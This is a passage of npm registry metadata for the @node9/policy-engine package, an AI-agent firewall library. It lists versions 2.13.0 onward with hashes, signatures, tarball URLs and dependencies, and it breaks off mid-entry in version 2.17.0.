firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.12.0_1788931334564_0.9486046336136993","host":"s3://npm-registry-packages-npm-production"}},"2.13.0":{"name":"@node9/policy-engine","version":"2.13.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.13.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5ece920158e9cdf871906ecb5929ce24a37808c5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.13.0.tgz","fileCount":7,"integrity":"sha512-WgsS8FAaNtl9En2hZOulyA/soriSnwJbGazAB0Hn7yArsnrHIsWvNhN9y6b3shAKUDwEtosVN+75i+SzlZTt5w==","signatures":[{"sig":"MEQCIBcay+8mNyv+6Oa3db4gdx7qwPsCnMtfUGC4KMGPORQoAiByEAcrRfm49uMPBlzHR/eW/u89b4lhJskphjB+erOSdw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIHMb8T8bBF8VJ39NbUUUu32d4TxHxuyttnOAsUOvzZ+7AiEA9aGHOC1vodKjecb3lN6HwBNzi59BM9Gu2NDFnnzQLbE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.13.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":479242},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5a42cafe9f527a9920349663d180ddc01267418b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.13.0_1788986393053_0.6607817853752782","host":"s3://npm-registry-packages-npm-production"}},"2.13.1":{"name":"@node9/policy-engine","version":"2.13.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.13.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"d87f9f02ea652d33e8bea6572cd03814c7c4f9b0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.13.1.tgz","fileCount":7,"integrity":"sha512-u+epUfkT5TTbBXeZp+vBMAPgUMDmpiAfG7mgGaaJ8G+eHJqlKW5oYiGe1gVMbrXSTTksl+cY7pefdrqjuOwZnw==","signatures":[{"sig":"MEUCIQCqV/gjgqB2DCCJvDoLAl4laSp4FBTMwdQO0VTljPlvNwIge/peQRTpsmhGf3D2XeX0/p/2nDm9cjzIOLqHavX+/AY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCfsfxA/MJYsysttEi6Ty1O8mNxlcfL2KoAwtoez/NllgIhALVQYdewIunxdbKzbvvoydiZxc7DwEDt+IuClEUVMsnL","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.13.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":491606},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7c230a576f33c2f6af05771fe797e04e147ead20","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.13.1_1789155534701_0.7208970837457012","host":"s3://npm-registry-packages-npm-production"}},"2.14.0":{"name":"@node9/policy-engine","version":"2.14.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.14.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b14a8b0f0900f9dab205516950b74976760def1a","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.14.0.tgz","fileCount":7,"integrity":"sha512-TGg8jviPBM2AVlOqzqeTmTeJ/pqC39fLz6lZg4UKXmxAMxly3/KaYGb4St7AjmX//BnLaVMHByu4gCgm36nyTQ==","signatures":[{"sig":"MEUCIHl2+Xy81MDI4Q+Mss0rBiVSnIqhvdQylnFldMsmgw0SAiEAmq1i0B4N+hXXMIcgw78In/KCS0reXzU53O4aS2QTNZA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDRmEQgplngS2QZVJFfF46u2c7XxSKERqKwmiZoDOJIsQIgAy11ZcCermz0bfZcGH/xX8SveqQuP8LckGAnNK3gRFI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.14.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":515484},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0261630207fb42dc8872d76d9dbe1ce49482db9a","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.14.0_1789282685360_0.23663523490405103","host":"s3://npm-registry-packages-npm-production"}},"2.14.1":{"name":"@node9/policy-engine","version":"2.14.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.14.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"2ff664b574d946d9f320db3c4e6372d7e2d9bd88","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.14.1.tgz","fileCount":7,"integrity":"sha512-PQtqfYttAhhIzTrB+lKAawokiQ881OvZ+6mFkyeS7pdki1ocmTe4SUvD2B5GJYQ3+lpqmqJbNINBe8t5Q/1Hkg==","signatures":[{"sig":"MEUCIQCRCXTsIsDS4YSrWriBjRLaEvNRttP/bdCWmPaZJwOS5QIgenK+9f6mgDfKvFlpZQb4TjozltKIbYY8gq1+bY+TVM8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIEKF8tDb6IhH5uaPOsQAQIv6z+J5wXH1rsjtx8uFatutAiArYkgh8akg/ZjUII3sU0HYpWyEtKFdh/8YwHbNREVkNA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.14.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":555908},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"88e703b3630d447f51c38974f2793197be9c996f","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.14.1_1789363077446_0.2828295451261986","host":"s3://npm-registry-packages-npm-production"}},"2.14.2":{"name":"@node9/policy-engine","version":"2.14.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.14.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"eac23290b2eb9f363cb9f32fe74d2ec3800534d0","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.14.2.tgz","fileCount":7,"integrity":"sha512-HIaPL5o9o3eCiIGseFWHnWFtQ0PQzJebppfY1JwtmF4xkA+mV4WSyxuZWgVvQ+quevYmswCtHJSsf/bwW3x0Tw==","signatures":[{"sig":"MEUCIDSbmLfWglmkFmGHGxa1Jg1GwNTemXxV6g7jP0NEqstMAiEA2MZJs2jUGXS/MlMa+0t3+3fBbXTadZhMP9RXOBNvXDU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQC/xqn7oNzi8s8kTJvEAn+O9EkmczPqZ1TVef7xZa1qIgIgJNg82x8zkLUQVgY8D7uai+tXT7fDIITixayk9TTiYuA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.14.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":560200},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9da9768295b5eb8cbab929afeaca5aeceb39c359","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.14.2_1789382245024_0.9704821368199463","host":"s3://npm-registry-packages-npm-production"}},"2.14.3":{"name":"@node9/policy-engine","version":"2.14.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.14.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"204052e92dec50848bf36fc102906790d192197f","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.14.3.tgz","fileCount":7,"integrity":"sha512-g4hLwCRH653wy44WFZm6rcfj5q1hDuiXMqs9EHDFn6Aj2ICbU+sOWoGyxa0IaOHGR27l3wcqNwYuoWvc0qQdMw==","signatures":[{"sig":"MEUCIFuyLAJ2Cs4wcoCMUTsU0zueZypQwvqpd+KDrHoxFkfsAiEA5EXZ+hLxxpFJgkAYdn305ZSSOkK49z5xX0KV7BXEebw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQD0GopEIn+a+Mv/JRGl0Gy5F+qnlNMGiHP2WP1bVfOsVQIgH9Eb9TYYy3uV9KtTVku39TycL+REulJCJ8HZN94+DAE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.14.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":561768},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ec2a531163023b81656ee8abdcebe78112cda792","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.14.3_1789552875804_0.6100000720316625","host":"s3://npm-registry-packages-npm-production"}},"2.15.0":{"name":"@node9/policy-engine","version":"2.15.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.15.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"a442055d1ebd483014bfef50446ec718b70e6640","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.15.0.tgz","fileCount":7,"integrity":"sha512-vaIZ6fL1YSScXfeTOI4G4lH0HnPgDObyWV9NAeahjWYttsYzrYhYxgLzMWMvZopKBKDeGWtC5jCKE556lW3nrw==","signatures":[{"sig":"MEUCIQCnwx216MEykj7Yps9uklFffgJ/hwg9nPFRc1DdDmZGRgIgR8e4L0HfSgGmQV1fF/VlaZvmFJmhKrMfZFPBUhn1ypk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCR7Cj+dgpcMDcHSA/S5CJ0Z6HpgMUvVxinAP3P0aqr1AIhALtqzWbd6br3sYR/3eh8cLcD7KqrCCFOxtWTsudL8XIB","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.15.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":561768},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6531a10ecf619d3c27c6b462a1ff37c43a0f271e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.15.0_1789623641738_0.7431085058787623","host":"s3://npm-registry-packages-npm-production"}},"2.16.0":{"name":"@node9/policy-engine","version":"2.16.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.16.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"d5fe49a17bf7e3fe23e2c3c7b859e74dcd05030a","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.16.0.tgz","fileCount":7,"integrity":"sha512-/YzH9udi8Y3DHKKqTDuBjLWoK48UXn7Qxh8YjNzj8xcuUF68NuMPc0sWKB85/6dqncP1DpmJttnIjPG1w1IXdg==","signatures":[{"sig":"MEUCIQDqe+9jpXmQotPj5+R/2nJQSVI94kk3uZOwzqvi3cZFyQIgQfmcCI/qbOXGhIgXBziOS4uVVZxGAh7LMcRQLd9kdkM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIACFFYqL9M5phyPxl4NCqkRon9Zn/ItFneui9y3D6VobAiEAuUcmo0Ztz71BL3Z2i0+ndXzV9qleEWASTYLRxNUokUU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.16.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":561768},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0c8ae43be8398563176475fe2efc03347614f3aa","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.16.0_1789911885696_0.9657182812238934","host":"s3://npm-registry-packages-npm-production"}},"2.16.1":{"name":"@node9/policy-engine","version":"2.16.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.16.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"354aa8a5ebc5941371068fa7477ad8c732c29863","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.16.1.tgz","fileCount":7,"integrity":"sha512-beoXUcXE6RRN+pHNQBNr0ef1HxiTrlKDOuOY1mu6JfkYr9B6Q2E9zA65BwiV44R8LkDCTJj7hhPIwrDKAdn2Ow==","signatures":[{"sig":"MEUCIBsdXyIaVzMpFKcQAgkkQhGZRTX9Tz2/np5kt4HwRb/3AiEA1XHeAYQZDxrJt1c+o0WZiuDRBi0/pzEfOagjhC8Ty1k=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCyEedDuQ8pEpS2ONLxoEpkdE7y56g/FuD2rIyvG3rYbAIgBbC0esNa5z+a27f55+rvqNpCny6tw4YXSA+LLkDfR0A=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.16.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":561768},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9c5a6f7dc086d240889bf2333174412b784f25aa","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.16.1_1789929854009_0.7006895162837541","host":"s3://npm-registry-packages-npm-production"}},"2.16.2":{"name":"@node9/policy-engine","version":"2.16.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.16.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5a4442c14ae818bf08b3395864d2034092b45dad","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.16.2.tgz","fileCount":7,"integrity":"sha512-BtpqgFyutpwHvgj0ixClhr5jDkl5IXhnkdgEmUaHV+bEcC4vFxEPh1azlyz+hc2M2v4979EfvXVC/SEYAEaEnw==","signatures":[{"sig":"MEUCIQCGsKXtlFy+bVdHxyDOcYUCDUnBPWa6GLxQsd75Ye1DhgIgeyVo0BPfT6dtTC/z6deoYmLGROZ1G6tSH11CnoBwdeY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCstKxd0Kav9j62TPNHDhB2jAg9EuqDDywzZlEWsofPxQIgVA38iWIOTVWMvYPi0intBZvqyxxVh1lHtrD6qOd/mJk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.16.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":564160},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d7bbb4aabcd89a1231b56437a9393566d024563b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^5.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.16.2_1789932565206_0.08954516832741266","host":"s3://npm-registry-packages-npm-production"}},"2.17.0":{"name":"@node9/policy-engine","version":"2.17.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.17.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"692316a05882e40b298dc4af9472b64deb9fac22","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.17.0.tgz","fileCount":7,"integrity":"sha512-y8CLNV5UdioNp2uiLX2Rwa/xO4NrGCISawbYCqH/zP+B83HCWJns7hgM0KsVS/3i4bV+6sSyUlgoI98RYsrJuw==","signatures":[{"sig":"MEQCICxGeEJ6HK76oxQIZDRkSNnTTncwF3W9FTan/QMKqvYnAiB+afr9cj3KFZFQ/2nGkVJEAIUe1BHeKfEckDytSAFRdA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIF/slZ57fEZphqT1zjfQncUMBBrTeuC2YGp/26j0+kEKAiAab2S6ga3H89/OZWVnZcUdop/BKmzWxz